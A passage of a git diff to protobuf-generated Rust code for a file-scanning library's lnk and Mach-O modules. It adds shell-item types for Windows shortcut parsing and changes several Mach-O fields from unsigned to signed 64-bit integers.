USERS_FILES_FOLDER = 116, +} + +impl ::protobuf::Enum for ShellItemType { + const NAME: &'static str = "ShellItemType"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 0 => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL_CPL), + 1 => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL_CATEGORY), + 31 => ::std::option::Option::Some(ShellItemType::ROOT_FOLDER), + 32 => ::std::option::Option::Some(ShellItemType::VOLUME), + 48 => ::std::option::Option::Some(ShellItemType::FILE_ENTRY), + 64 => ::std::option::Option::Some(ShellItemType::NETWORK_LOCATION), + 82 => ::std::option::Option::Some(ShellItemType::COMPRESSED_FOLDER), + 97 => ::std::option::Option::Some(ShellItemType::URI), + 113 => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL), + 114 => ::std::option::Option::Some(ShellItemType::PRINTERS), + 115 => ::std::option::Option::Some(ShellItemType::COMMON_PLACES_FOLDER), + 116 => ::std::option::Option::Some(ShellItemType::USERS_FILES_FOLDER), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "CONTROL_PANEL_CPL" => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL_CPL), + "CONTROL_PANEL_CATEGORY" => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL_CATEGORY), + "ROOT_FOLDER" => ::std::option::Option::Some(ShellItemType::ROOT_FOLDER), + "VOLUME" => ::std::option::Option::Some(ShellItemType::VOLUME), + "FILE_ENTRY" => ::std::option::Option::Some(ShellItemType::FILE_ENTRY), + "NETWORK_LOCATION" => ::std::option::Option::Some(ShellItemType::NETWORK_LOCATION), + "COMPRESSED_FOLDER" => ::std::option::Option::Some(ShellItemType::COMPRESSED_FOLDER), + "URI" => ::std::option::Option::Some(ShellItemType::URI), + "CONTROL_PANEL" => ::std::option::Option::Some(ShellItemType::CONTROL_PANEL), + "PRINTERS" => ::std::option::Option::Some(ShellItemType::PRINTERS), + "COMMON_PLACES_FOLDER" => ::std::option::Option::Some(ShellItemType::COMMON_PLACES_FOLDER), + "USERS_FILES_FOLDER" => ::std::option::Option::Some(ShellItemType::USERS_FILES_FOLDER), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [ShellItemType] = &[ + ShellItemType::CONTROL_PANEL_CPL, + ShellItemType::CONTROL_PANEL_CATEGORY, + ShellItemType::ROOT_FOLDER, + ShellItemType::VOLUME, + ShellItemType::FILE_ENTRY, + ShellItemType::NETWORK_LOCATION, + ShellItemType::COMPRESSED_FOLDER, + ShellItemType::URI, + ShellItemType::CONTROL_PANEL, + ShellItemType::PRINTERS, + ShellItemType::COMMON_PLACES_FOLDER, + ShellItemType::USERS_FILES_FOLDER, + ]; +} + +impl ::protobuf::EnumFull for ShellItemType { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().enum_by_package_relative_name("ShellItemType").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = match self { + ShellItemType::CONTROL_PANEL_CPL => 0, + ShellItemType::CONTROL_PANEL_CATEGORY => 1, + ShellItemType::ROOT_FOLDER => 2, + ShellItemType::VOLUME => 3, + ShellItemType::FILE_ENTRY => 4, + ShellItemType::NETWORK_LOCATION => 5, + ShellItemType::COMPRESSED_FOLDER => 6, + ShellItemType::URI => 7, + ShellItemType::CONTROL_PANEL => 8, + ShellItemType::PRINTERS => 9, + ShellItemType::COMMON_PLACES_FOLDER => 10, + ShellItemType::USERS_FILES_FOLDER => 11, + }; + Self::enum_descriptor().value_by_index(index) + } +} + +impl ::std::default::Default for ShellItemType { + fn default() -> Self { + ShellItemType::CONTROL_PANEL_CPL + } +} + +impl ShellItemType { + fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("ShellItemType") + } +} + static file_descriptor_proto_data: &'static [u8] = b"\ - \n\tlnk.proto\x12\x03lnk\x1a\nyara.proto\"\x95\x06\n\x03Lnk\x12\x15\n\ + \n\tlnk.proto\x12\x03lnk\x1a\nyara.proto\"\xcb\x06\n\x03Lnk\x12\x15\n\ \x06is_lnk\x18\x01\x20\x02(\x08R\x05isLnk\x12\x12\n\x04name\x18\x02\x20\ - \x01(\tR\x04name\x12#\n\rcreation_time\x18\x03\x20\x01(\x04R\x0ccreation\ - Time\x12\x1f\n\x0baccess_time\x18\x04\x20\x01(\x04R\naccessTime\x12\x1d\ - \n\nwrite_time\x18\x05\x20\x01(\x04R\twriteTime\x12\x1b\n\tfile_size\x18\ + \x01(\tR\x04name\x12#\n\rcreation_time\x18\x03\x20\x01(\x03R\x0ccreation\ + Time\x12\x1f\n\x0baccess_time\x18\x04\x20\x01(\x03R\naccessTime\x12\x1d\ + \n\nwrite_time\x18\x05\x20\x01(\x03R\twriteTime\x12\x1b\n\tfile_size\x18\ \x06\x20\x01(\rR\x08fileSize\x12'\n\x0ffile_attributes\x18\x07\x20\x01(\ \rR\x0efileAttributes\x12#\n\ricon_location\x18\x08\x20\x01(\tR\x0ciconL\ ocation\x12\x1d\n\nicon_index\x18\t\x20\x01(\rR\ticonIndex\x123\n\x0csho\ @@ -1768,31 +2439,45 @@ static file_descriptor_proto_data: &'static [u8] = b"\ \x0f\x20\x01(\tR\x10commonPathSuffix\x12#\n\rrelative_path\x18\x10\x20\ \x01(\tR\x0crelativePath\x12\x1f\n\x0bworking_dir\x18\x11\x20\x01(\tR\nw\ orkingDir\x12\"\n\rcmd_line_args\x18\x12\x20\x01(\tR\x0bcmdLineArgs\x12!\ - \n\x0coverlay_size\x18\x13\x20\x01(\x04R\x0boverlaySize\x12%\n\x0eoverla\ - y_offset\x18\x14\x20\x01(\x04R\roverlayOffset\x123\n\x0ctracker_data\x18\ - \x15\x20\x01(\x0b2\x10.lnk.TrackerDataR\x0btrackerData\"\xf4\x01\n\x0bTr\ - ackerData\x12\x18\n\x07version\x18\x01\x20\x01(\rR\x07version\x12\x1d\n\ - \nmachine_id\x18\x02\x20\x01(\tR\tmachineId\x12&\n\x0fdroid_volume_id\ - \x18\x03\x20\x01(\tR\rdroidVolumeId\x12\"\n\rdroid_file_id\x18\x04\x20\ - \x01(\tR\x0bdroidFileId\x121\n\x15droid_birth_volume_id\x18\x05\x20\x01(\ - \tR\x12droidBirthVolumeId\x12-\n\x13droid_birth_file_id\x18\x06\x20\x01(\ - \tR\x10droidBirthFileId*\xca\x03\n\x0eFileAttributes\x12\x1b\n\x17FILE_A\ - TTRIBUTE_READONLY\x10\x01\x12\x19\n\x15FILE_ATTRIBUTE_HIDDEN\x10\x02\x12\ - \x19\n\x15FILE_ATTRIBUTE_SYSTEM\x10\x04\x12\x0e\n\nRESERVED_1\x10\x08\ - \x12\x1c\n\x18FILE_ATTRIBUTE_DIRECTORY\x10\x10\x12\x1a\n\x16FILE_ATTRIBU\ - TE_ARCHIVE\x10\x20\x12\x0e\n\nRESERVED_2\x10@\x12\x1a\n\x15FILE_ATTRIBUT\ - E_NORMAL\x10\x80\x01\x12\x1d\n\x18FILE_ATTRIBUTE_TEMPORARY\x10\x80\x02\ - \x12\x1f\n\x1aFILE_ATTRIBUTE_SPARSE_FILE\x10\x80\x04\x12!\n\x1cFILE_ATTR\ - IBUTE_REPARSE_POINT\x10\x80\x08\x12\x1e\n\x19FILE_ATTRIBUTE_COMPRESSED\ - \x10\x80\x10\x12\x1b\n\x16FILE_ATTRIBUTE_OFFLINE\x10\x80\x20\x12'\n\"FIL\ - E_ATTRIBUTE_NOT_CONTENT_INDEXED\x10\x80@\x12\x1e\n\x18FILE_ATTRIBUTE_ENC\ - RYPTED\x10\x80\x80\x01\x1a\x06\x92\x93\x19\x02\x10\x01*;\n\x0bShowComman\ - d\x12\n\n\x06NORMAL\x10\x01\x12\r\n\tMAXIMIZED\x10\x03\x12\x11\n\rMIN_NO\ - _ACTIVE\x10\x07*g\n\tDriveType\x12\x0b\n\x07UNKNOWN\x10\0\x12\x0f\n\x0bN\ - O_ROOT_DIR\x10\x01\x12\r\n\tREMOVABLE\x10\x02\x12\t\n\x05FIXED\x10\x03\ - \x12\n\n\x06REMOTE\x10\x04\x12\t\n\x05CDROM\x10\x05\x12\x0b\n\x07RAMDISK\ - \x10\x06B\x1e\xfa\x92\x19\x1a\n\x03lnk\x12\x07lnk.Lnk\x1a\nlnk-moduleb\ - \x06proto2\ + \n\x0coverlay_size\x18\x13\x20\x01(\x03R\x0boverlaySize\x12%\n\x0eoverla\ + y_offset\x18\x14\x20\x01(\x03R\roverlayOffset\x123\n\x0ctracker_data\x18\ + \x15\x20\x01(\x0b2\x10.lnk.TrackerDataR\x0btrackerData\x124\n\x0etarget_\ + id_list\x18\x16\x20\x03(\x0b2\x0e.lnk.ShellItemR\x0ctargetIdList\"\xb4\ + \x02\n\tShellItem\x128\n\titem_type\x18\x01\x20\x01(\x0e2\x12.lnk.ShellI\ + temTypeR\x08itemTypeB\x07\x82\x93\x19\x03*\x01x\x12\x12\n\x04data\x18\ + \x03\x20\x01(\x0cR\x04data\x12\"\n\rcpl_file_path\x18\x04\x20\x01(\tR\ + \x0bcplFilePath\x12$\n\x0eroot_folder_id\x18\x05\x20\x01(\tR\x0crootFold\ + erId\x12\x1f\n\x0bvolume_name\x18\x06\x20\x01(\tR\nvolumeName\x12\x1b\n\ + \tvolume_id\x18\x07\x20\x01(\tR\x08volumeId\x12&\n\x0ffile_entry_name\ + \x18\x08\x20\x01(\tR\rfileEntryName\x12)\n\x10network_location\x18\t\x20\ + \x01(\tR\x0fnetworkLocation\"\xf4\x01\n\x0bTrackerData\x12\x18\n\x07vers\ + ion\x18\x01\x20\x01(\rR\x07version\x12\x1d\n\nmachine_id\x18\x02\x20\x01\ + (\tR\tmachineId\x12&\n\x0fdroid_volume_id\x18\x03\x20\x01(\tR\rdroidVolu\ + meId\x12\"\n\rdroid_file_id\x18\x04\x20\x01(\tR\x0bdroidFileId\x121\n\ + \x15droid_birth_volume_id\x18\x05\x20\x01(\tR\x12droidBirthVolumeId\x12-\ + \n\x13droid_birth_file_id\x18\x06\x20\x01(\tR\x10droidBirthFileId*\xca\ + \x03\n\x0eFileAttributes\x12\x1b\n\x17FILE_ATTRIBUTE_READONLY\x10\x01\ + \x12\x19\n\x15FILE_ATTRIBUTE_HIDDEN\x10\x02\x12\x19\n\x15FILE_ATTRIBUTE_\ + SYSTEM\x10\x04\x12\x0e\n\nRESERVED_1\x10\x08\x12\x1c\n\x18FILE_ATTRIBUTE\ + _DIRECTORY\x10\x10\x12\x1a\n\x16FILE_ATTRIBUTE_ARCHIVE\x10\x20\x12\x0e\n\ + \nRESERVED_2\x10@\x12\x1a\n\x15FILE_ATTRIBUTE_NORMAL\x10\x80\x01\x12\x1d\ + \n\x18FILE_ATTRIBUTE_TEMPORARY\x10\x80\x02\x12\x1f\n\x1aFILE_ATTRIBUTE_S\ + PARSE_FILE\x10\x80\x04\x12!\n\x1cFILE_ATTRIBUTE_REPARSE_POINT\x10\x80\ + \x08\x12\x1e\n\x19FILE_ATTRIBUTE_COMPRESSED\x10\x80\x10\x12\x1b\n\x16FIL\ + E_ATTRIBUTE_OFFLINE\x10\x80\x20\x12'\n\"FILE_ATTRIBUTE_NOT_CONTENT_INDEX\ + ED\x10\x80@\x12\x1e\n\x18FILE_ATTRIBUTE_ENCRYPTED\x10\x80\x80\x01\x1a\ + \x06\x92\x93\x19\x02\x10\x01*;\n\x0bShowCommand\x12\n\n\x06NORMAL\x10\ + \x01\x12\r\n\tMAXIMIZED\x10\x03\x12\x11\n\rMIN_NO_ACTIVE\x10\x07*g\n\tDr\ + iveType\x12\x0b\n\x07UNKNOWN\x10\0\x12\x0f\n\x0bNO_ROOT_DIR\x10\x01\x12\ + \r\n\tREMOVABLE\x10\x02\x12\t\n\x05FIXED\x10\x03\x12\n\n\x06REMOTE\x10\ + \x04\x12\t\n\x05CDROM\x10\x05\x12\x0b\n\x07RAMDISK\x10\x06*\xf8\x01\n\rS\ + hellItemType\x12\x15\n\x11CONTROL_PANEL_CPL\x10\0\x12\x1a\n\x16CONTROL_P\ + ANEL_CATEGORY\x10\x01\x12\x0f\n\x0bROOT_FOLDER\x10\x1f\x12\n\n\x06VOLUME\ + \x10\x20\x12\x0e\n\nFILE_ENTRY\x100\x12\x14\n\x10NETWORK_LOCATION\x10@\ + \x12\x15\n\x11COMPRESSED_FOLDER\x10R\x12\x07\n\x03URI\x10a\x12\x11\n\rCO\ + NTROL_PANEL\x10q\x12\x0c\n\x08PRINTERS\x10r\x12\x18\n\x14COMMON_PLACES_F\ + OLDER\x10s\x12\x16\n\x12USERS_FILES_FOLDER\x10tB\x1e\xfa\x92\x19\x1a\n\ + \x03lnk\x12\x07lnk.Lnk\x1a\nlnk-moduleb\x06proto2\ "; /// `FileDescriptorProto` object which was a source for this generated file @@ -1811,13 +2496,15 @@ pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { let mut deps = ::std::vec::Vec::with_capacity(1); deps.push(super::yara::file_descriptor().clone()); - let mut messages = ::std::vec::Vec::with_capacity(2); + let mut messages = ::std::vec::Vec::with_capacity(3); messages.push(Lnk::generated_message_descriptor_data()); + messages.push(ShellItem::generated_message_descriptor_data()); messages.push(TrackerData::generated_message_descriptor_data()); - let mut enums = ::std::vec::Vec::with_capacity(3); + let mut enums = ::std::vec::Vec::with_capacity(4); enums.push(FileAttributes::generated_enum_descriptor_data()); enums.push(ShowCommand::generated_enum_descriptor_data()); enums.push(DriveType::generated_enum_descriptor_data()); + enums.push(ShellItemType::generated_enum_descriptor_data()); ::protobuf::reflect::GeneratedFileDescriptor::new_generated( file_descriptor_proto(), deps, diff --git a/lib/src/modules/protos/generated/macho.rs b/lib/src/modules/protos/generated/macho.rs index 5c2b41a15..cdec3056a 100644 --- a/lib/src/modules/protos/generated/macho.rs +++ b/lib/src/modules/protos/generated/macho.rs @@ -2014,7 +2014,7 @@ pub struct Nlist { // @@protoc_insertion_point(field:macho.Nlist.n_desc) pub n_desc: ::std::option::Option, // @@protoc_insertion_point(field:macho.Nlist.n_value) - pub n_value: ::std::option::Option, + pub n_value: ::std::option::Option, // special fields // @@protoc_insertion_point(special_field:macho.Nlist.special_fields) pub special_fields: ::protobuf::SpecialFields, @@ -2107,9 +2107,9 @@ impl Nlist { self.n_desc = ::std::option::Option::Some(v); } - // optional uint64 n_value = 5; + // optional int64 n_value = 5; - pub fn n_value(&self) -> u64 { + pub fn n_value(&self) -> i64 { self.n_value.unwrap_or(0) } @@ -2122,7 +2122,7 @@ impl Nlist { } // Param is passed by value, moved - pub fn set_n_value(&mut self, v: u64) { + pub fn set_n_value(&mut self, v: i64) { self.n_value = ::std::option::Option::Some(v); } @@ -2185,7 +2185,7 @@ impl ::protobuf::Message for Nlist { self.n_desc = ::std::option::Option::Some(is.read_uint32()?); }, 40 => { - self.n_value = ::std::option::Option::Some(is.read_uint64()?); + self.n_value = ::std::option::Option::Some(is.read_int64()?); }, tag => { ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; @@ -2212,7 +2212,7 @@ impl ::protobuf::Message for Nlist { my_size += ::protobuf::rt::uint32_size(4, v); } if let Some(v) = self.n_value { - my_size += ::protobuf::rt::uint64_size(5, v); + my_size += ::protobuf::rt::int64_size(5, v); } my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); self.special_fields.cached_size().set(my_size as u32); @@ -2233,7 +2233,7 @@ impl ::protobuf::Message for Nlist { os.write_uint32(4, v)?; } if let Some(v) = self.n_value { - os.write_uint64(5, v)?; + os.write_int64(5, v)?; } os.write_unknown_fields(self.special_fields.unknown_fields())?; ::std::result::Result::Ok(()) @@ -3358,9 +3358,9 @@ pub struct Section { // @@protoc_insertion_point(field:macho.Section.sectname) pub sectname: ::std::option::Option<::std::vec::Vec>, // @@protoc_insertion_point(field:macho.Section.addr) - pub addr: ::std::option::Option, + pub addr: ::std::option::Option, // @@protoc_insertion_point(field:macho.Section.size) - pub size: ::std::option::Option, + pub size: ::std::option::Option, // @@protoc_insertion_point(field:macho.Section.offset) pub offset: ::std::option::Option, // @@protoc_insertion_point(field:macho.Section.align) @@ -3465,9 +3465,9 @@ impl Section { self.sectname.take().unwrap_or_else(|| ::std::vec::Vec::new()) } - // optional uint64 addr = 3; + // optional int64 addr = 3; - pub fn addr(&self) -> u64 { + pub fn addr(&self) -> i64 { self.addr.unwrap_or(0) } @@ -3480,13 +3480,13 @@ impl Section { } // Param is passed by value, moved - pub fn set_addr(&mut self, v: u64) { + pub fn set_addr(&mut self, v: i64) { self.addr = ::std::option::Option::Some(v); } - // optional uint64 size = 4; + // optional int64 size = 4; - pub fn size(&self) -> u64 { + pub fn size(&self) -> i64 { self.size.unwrap_or(0) } @@ -3499,7 +3499,7 @@ impl Section { } // Param is passed by value, moved - pub fn set_size(&mut self, v: u64) { + pub fn set_size(&mut self, v: i64) { self.size = ::std::option::Option::Some(v); } @@ -3743,10 +3743,10 @@ impl ::protobuf::Message for Section { self.sectname = ::std::option::Option::Some(is.read_bytes()?); }, 24 => { - self.addr = ::std::option::Option::Some(is.read_uint64()?); + self.addr = ::std::option::Option::Some(is.read_int64()?); }, 32 => { - self.size = ::std::option::Option::Some(is.read_uint64()?); + self.size = ::std::option::Option::Some(is.read_int64()?); }, 40 => { self.offset = ::std::option::Option::Some(is.read_uint32()?); @@ -3791,10 +3791,10 @@ impl ::protobuf::Message for Section { my_size += ::protobuf::rt::bytes_size(2, &v); } if let Some(v) = self.addr { - my_size += ::protobuf::rt::uint64_size(3, v); + my_size += ::protobuf::rt::int64_size(3, v); } if let Some(v) = self.size { - my_size += ::protobuf::rt::uint64_size(4, v); + my_size += ::protobuf::rt::int64_size(4, v); } if let Some(v) = self.offset { my_size += ::protobuf::rt::uint32_size(5, v); @@ -3833,10 +3833,10 @@ impl ::protobuf::Message for Section { os.write_bytes(2, v)?; } if let Some(v) = self.addr { - os.write_uint64(3, v)?; + os.write_int64(3, v)?; } if let Some(v) = self.size { - os.write_uint64(4, v)?; + os.write_int64(4, v)?; } if let Some(v) = self.offset { os.write_uint32(5, v)?; @@ -3938,13 +3938,13 @@ pub struct Segment { // @@protoc_insertion_point(field:macho.Segment.segname) pub segname: ::std::option::Option<::std::vec::Vec>, // @@protoc_insertion_point(field:macho.Segment.vmaddr) - pub vmaddr: ::std::option::Option, + pub vmaddr: ::std::option::Option, // @@protoc_insertion_point(field:macho.Segment.vmsize) - pub vmsize: ::std::option::Option, + pub vmsize: ::std::option::Option, // @@protoc_insertion_point(field:macho.Segment.fileoff) - pub fileoff: ::std::option::Option, + pub fileoff: ::std::option::Option, // @@protoc_insertion_point(field:macho.Segment.filesize) - pub filesize: ::std::option::Option, + pub filesize: ::std::option::Option, // @@protoc_insertion_point(field:macho.Segment.maxprot) pub maxprot: ::std::option::Option, // @@protoc_insertion_point(field:macho.Segment.initprot) @@ -4007,9 +4007,9 @@ impl Segment { self.segname.take().unwrap_or_else(|| ::std::vec::Vec::new()) } - // optional uint64 vmaddr = 4; + // optional int64 vmaddr = 4; - pub fn vmaddr(&self) -> u64 { + pub fn vmaddr(&self) -> i64 { self.vmaddr.unwrap_or(0) } @@ -4022,13 +4022,13 @@ impl Segment { } // Param is passed by value, moved - pub fn set_vmaddr(&mut self, v: u64) { + pub fn set_vmaddr(&mut self, v: i64) { self.vmaddr = ::std::option::Option::Some(v); } - // optional uint64 vmsize = 5; + // optional int64 vmsize = 5; - pub fn vmsize(&self) -> u64 { + pub fn vmsize(&self) -> i64 { self.vmsize.unwrap_or(0) } @@ -4041,13 +4041,13 @@ impl Segment { } // Param is passed by value, moved - pub fn set_vmsize(&mut self, v: u64) { + pub fn set_vmsize(&mut self, v: i64) { self.vmsize = ::std::option::Option::Some(v); } - // optional uint64 fileoff = 6; + // optional int64 fileoff = 6; - pub fn fileoff(&self) -> u64 { + pub fn fileoff(&self) -> i64 { self.fileoff.unwrap_or(0) } @@ -4060,13 +4060,13 @@ impl Segment { } // Param is passed by value, moved - pub fn set_fileoff(&mut self, v: u64) { + pub fn set_fileoff(&mut self, v: i64) { self.fileoff = ::std::option::Option::Some(v); } - // optional uint64 filesize = 7; + // optional int64 filesize = 7; - pub fn filesize(&self) -> u64 { + pub fn filesize(&self) -> i64 { self.filesize.unwrap_or(0) } @@ -4079,7 +4079,7 @@ impl Segment { } // Param is passed by value, moved - pub fn set_filesize(&mut self, v: u64) { + pub fn set_filesize(&mut self, v: i64) { self.filesize = ::std::option::Option::Some(v); } @@ -4234,16 +4234,16 @@ impl ::protobuf::Message for Segment { self.segname = ::std::option::Option::Some(is.read_bytes()?); }, 32 => { - self.vmaddr = ::std::option::Option::Some(is.read_uint64()?); + self.vmaddr = ::std::option::Option::Some(is.read_int64()?); }, 40 => { - self.vmsize = ::std::option::Option::Some(is.read_uint64()?); + self.vmsize = ::std::option::Option::Some(is.read_int64()?); }, 48 => { - self.fileoff = ::std::option::Option::Some(is.read_uint64()?); + self.fileoff = ::std::option::Option::Some(is.read_int64()?); }, 56 => { - self.filesize = ::std::option::Option::Some(is.read_uint64()?); + self.filesize = ::std::option::Option::Some(is.read_int64()?); }, 64 => { self.maxprot = ::std::option::Option::Some(is.read_uint32()?); @@ -4276,16 +4276,16 @@ impl ::protobuf::Message for Segment { my_size += ::protobuf::rt::bytes_size(3, &v); } if let Some(v) = self.vmaddr { - my_size += ::protobuf::rt::uint64_size(4, v); + my_size += ::protobuf::rt::int64_size(4, v); } if let Some(v) = self.vmsize { - my_size += ::protobuf::rt::uint64_size(5, v); + my_size += ::protobuf::rt::int64_size(5, v); } if let Some(v) = self.fileoff { - my_size += ::protobuf::rt::uint64_size(6, v); + my_size += ::protobuf::rt::int64_size(6, v); } if let Some(v) = self.filesize { - my_size += ::protobuf::rt::uint64_size(7, v); + my_size += ::protobuf::rt::int64_size(7, v); } if let Some(v) = self.maxprot { my_size += ::protobuf::rt::uint32_size(8, v); @@ -4313,16 +4313,16 @@ impl ::protobuf::Message for Segment { os.write_bytes(3, v)?; } if let Some(v) = self.vmaddr { - os.write_uint64(4, v)?; + os.write_int64(4, v)?; } if let Some(v) = self.vmsize { - os.write_uint64(5, v)?; + os.write_int64(5, v)?; } if let Some(v) = self.fileoff { - os.write_uint64(6, v)?; + os.write_int64(6, v)?; } if let Some(v) = self.filesize { - os.write_uint64(7, v)?; + os.write_int64(7, v)?; } if let Some(v) = self.maxprot { os.write_uint32(8, v)?; @@ -4413,9 +4413,9 @@ pub struct FatArch { // @@protoc_insertion_point(field:macho.FatArch.cpusubtype) pub cpusubtype: ::std::option::Option, // @@protoc_insertion_point(field:macho.FatArch.offset) - pub offset: ::std::option::Option, + pub offset: ::std::option::Option, // @@protoc_insertion_point(field:macho.FatArch.size) - pub size: ::std::option::Option, + pub size: ::std::option::Option, // @@protoc_insertion_point(field:macho.FatArch.align) pub align: ::std::option::Option, // @@protoc_insertion_point(field:macho.FatArch.reserved) @@ -4474,9 +4474,9 @@ impl FatArch { self.cpusubtype = ::std::option::Option::Some(v); } - // optional uint64 offset = 3; + // optional int64 offset = 3; - pub fn offset(&self) -> u64 { + pub fn offset(&self) -> i64 { self.offset.unwrap_or(0) } @@ -4489,13 +4489,13 @@ impl FatArch { } // Param is passed by value, moved - pub fn set_offset(&mut self, v: u64) { + pub fn set_offset(&mut self, v: i64) { self.offset = ::std::option::Option::Some(v); } - // optional uint64 size = 4; + // optional int64 size = 4; - pub fn size(&self) -> u64 { + pub fn size(&self) -> i64 { self.size.unwrap_or(0) } @@ -4508,7 +4508,7 @@ impl FatArch { } // Param is passed by value, moved - pub fn set_size(&mut self, v: u64) { + pub fn set_size(&mut self, v: i64) { self.size = ::std::option::Option::Some(v); } @@ -4608,10 +4608,10 @@ impl ::protobuf::Message for FatArch { self.cpusubtype = ::std::option::Option::Some(is.read_uint32()?); }, 24 => { - self.offset = ::std::option::Option::Some(is.read_uint64()?); + self.offset = ::std::option::Option::Some(is.read_int64()?); }, 32 => { - self.size = ::std::option::Option::Some(is.read_uint64()?); + self.size = ::std::option::Option::Some(is.read_int64()?); }, 40 => { self.align = ::std::option::Option::Some(is.read_uint32()?); @@ -4638,10 +4638,10 @@ impl ::protobuf::Message for FatArch { my_size += ::protobuf::rt::uint32_size(2, v); } if let Some(v) = self.offset { - my_size += ::protobuf::rt::uint64_size(3, v); + my_size += ::protobuf::rt::int64_size(3, v); } if let Some(v) = self.size { - my_size += ::protobuf::rt::uint64_size(4, v); + my_size += ::protobuf::rt::int64_size(4, v); } if let Some(v) = self.align { my_size += ::protobuf::rt::uint32_size(5, v); @@ -4662,10 +4662,10 @@ impl ::protobuf::Message for FatArch { os.write_uint32(2, v)?; } if let Some(v) = self.offset { - os.write_uint64(3, v)?; + os.write_int64(3, v)?; } if let Some(v) = self.size { - os.write_uint64(4, v)?; + os.write_int64(4, v)?; } if let Some(v) = self.align { os.write_uint32(5, v)?; @@ -4751,13 +4751,13 @@ pub struct File { // @@protoc_insertion_point(field:macho.File.reserved) pub reserved: ::std::option::Option, // @@protoc_insertion_point(field:macho.File.number_of_segments) - pub number_of_segments: ::std::option::Option, + pub number_of_segments: ::std::option::Option, // @@protoc_insertion_point(field:macho.File.dynamic_linker) pub dynamic_linker: ::std::option::Option<::std::vec::Vec>, // @@protoc_insertion_point(field:macho.File.entry_point) - pub entry_point: ::std::option::Option, + pub entry_point: ::std::option::Option, // @@protoc_insertion_point(field:macho.File.stack_size) - pub stack_size: ::std::option::Option, + pub stack_size: ::std::option::Option, // @@protoc_insertion_point(field:macho.File.source_version) pub source_version: ::std::option::Option<::std::string::String>, // @@protoc_insertion_point(field:macho.File.segments) @@ -4958,9 +4958,9 @@ impl File { self.reserved = ::std::option::Option::Some(v); } - // optional uint64 number_of_segments = 9; + // optional int64 number_of_segments = 9; - pub fn number_of_segments(&self) -> u64 { + pub fn number_of_segments(&self) -> i64 { self.number_of_segments.unwrap_or(0) } @@ -4973,7 +4973,7 @@ impl File { } // Param is passed by value, moved - pub fn set_number_of_segments(&mut self, v: u64) { + pub fn set_number_of_segments(&mut self, v: i64) { self.number_of_segments = ::std::option::Option::Some(v); } @@ -5013,9 +5013,9 @@ impl File { self.dynamic_linker.take().unwrap_or_else(|| ::std::vec::Vec::new()) } - // optional uint64 entry_point = 11; + // optional int64 entry_point = 11; - pub fn entry_point(&self) -> u64 { + pub fn entry_point(&self) -> i64 { self.entry_point.unwrap_or(0) } @@ -5028,13 +5028,13 @@ impl File { } // Param is passed by value, moved - pub fn set_entry_point(&mut self, v: u64) { + pub fn set_entry_point(&mut self, v: i64) { self.entry_point = ::std::option::Option::Some(v); } - // optional uint64 stack_size = 12; + // optional int64 stack_size = 12; - pub fn stack_size(&self) -> u64 { + pub fn stack_size(&self) -> i64 { self.stack_size.unwrap_or(0) } @@ -5047,7 +5047,7 @@ impl File { } // Param is passed by value, moved - pub fn set_stack_size(&mut self, v: u64) { + pub fn set_stack_size(&mut self, v: i64) { self.stack_size = ::std::option::Option::Some(v); } @@ -5354,16 +5354,16 @@ impl ::protobuf::Message for File { self.reserved = ::std::option::Option::Some(is.read_uint32()?); }, 72 => { - self.number_of_segments = ::std::option::Option::Some(is.read_uint64()?); + self.number_of_segments = ::std::option::Option::Some(is.read_int64()?); }, 82 => { self.dynamic_linker = ::std::option::Option::Some(is.read_bytes()?); }, 88 => { - self.entry_point = ::std::option::Option::Some(is.read_uint64()?); + self.entry_point = ::std::option::Option::Some(is.read_int64()?); }, 96 => { - self.stack_size = ::std::option::Option::Some(is.read_uint64()?); + self.stack_size = ::std::option::Option::Some(is.read_int64()?); }, 106 => { self.source_version = ::std::option::Option::Some(is.read_string()?); @@ -5450,16 +5450,16 @@ impl ::protobuf::Message for File { my_size += ::protobuf::rt::uint32_size(8, v); } if let Some(v) = self.number_of_segments { - my_size += ::protobuf::rt::uint64_size(9, v); + my_size += ::protobuf::rt::int64_size(9, v); } if let Some(v) = self.dynamic_linker.as_ref() { my_size += ::protobuf::rt::bytes_size(10, &v); } if let Some(v) = self.entry_point { - my_size += ::protobuf::rt::uint64_size(11, v); + my_size += ::protobuf::rt::int64_size(11, v); } if let Some(v) = self.stack_size { - my_size += ::protobuf::rt::uint64_size(12, v); + my_size += ::protobuf::rt::int64_size(12, v); } if let Some(v) = self.source_version.as_ref() { my_size += ::protobuf::rt::string_size(13, &v); @@ -5549,16 +5549,16 @@ impl ::protobuf::Message for File { os.write_uint32(8, v)?; } if let Some(v) = self.number_of_segments { - os.write_uint64(9, v)?; + os.write_int64(9, v)?; } if let Some(v) = self.dynamic_linker.as_ref() { os.write_bytes(10, v)?; } if let Some(v) = self.entry_point { - os.write_uint64(11, v)?; + os.write_int64(11, v)?; } if let Some(v) = self.stack_size { - os.write_uint64(12, v)?; + os.write_int64(12, v)?; } if let Some(v) = self.source_version.as_ref() { os.write_string(13, v)?; @@ -5730,13 +5730,13 @@ pub struct Macho { // @@protoc_insertion_point(field:macho.Macho.reserved) pub reserved: ::std::option::Option, // @@protoc_insertion_point(field:macho.Macho.number_of_segments) - pub number_of_segments: ::std::option::Option, + pub number_of_segments: ::std::option::Option, // @@protoc_insertion_point(field:macho.Macho.dynamic_linker) pub dynamic_linker: ::std::option::Option<::std::vec::Vec>, // @@protoc_insertion_point(field:macho.Macho.entry_point) - pub entry_point: ::std::option::Option, + pub entry_point: ::std::option::Option, // 